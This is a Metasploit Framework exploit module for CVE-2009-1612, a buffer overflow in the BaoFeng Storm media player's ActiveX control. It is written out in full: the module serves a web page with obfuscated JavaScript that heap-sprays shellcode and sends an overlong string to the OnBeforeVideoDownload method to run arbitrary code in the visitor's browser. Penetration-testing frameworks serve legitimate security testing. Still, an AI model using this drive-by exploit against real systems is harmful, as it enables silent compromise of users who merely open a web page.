##
# $Id: baofeng_storm_onbeforevideodownload.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BaoFeng Storm mps.dll ActiveX OnBeforeVideoDownload Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in BaoFeng's Storm media Player ActiveX
				control. Verions of mps.dll including 3.9.4.27 and lower are affected. When passing
				an overly long string to the method "OnBeforeVideoDownload" an attacker can execute
				arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'jduck' ],
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2009-1612' ],
					[ 'OSVDB', '54169' ],
					[ 'BID', '34789' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/8579' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# untested, please contribute the vulnerable software if possible.
					[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
				],
			'DisclosureDate' => 'Apr 30 2009',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
				], self.class)
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# ActiveX parameters
		clsid = "6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
		progid = "MPS.StormPlayer.1"

		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Prepare the heap spray parameters
		spray_addr = 0x0c0c0c0c
		spray_num = "0x%x" % spray_addr
		spray_str = Rex::Text.to_hex([spray_addr].pack('V'), '%')

		# Generate the final javascript
		js = %Q|
try {
var vulnerable = new ActiveXObject('#{progid}');
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000);
var evil_string = '';
while (evil_string.length < 4150)
evil_string += my_unescape('#{spray_str}');
vulnerable.OnBeforeVideoDownload(evil_string);
} catch( e ) { window.location = 'about:blank' ; }
|

		# Obfuscate the javascript
		opts = {
			'Strings' => true,
			'Symbols' => {
				'Variables' => %w{ vulnerable shellcode my_unescape index evil_string }
			}
		}
		js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
		js.update_opts(js_heap_spray.opts)
		js.obfuscate()

		# Generate the final HTML
		content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
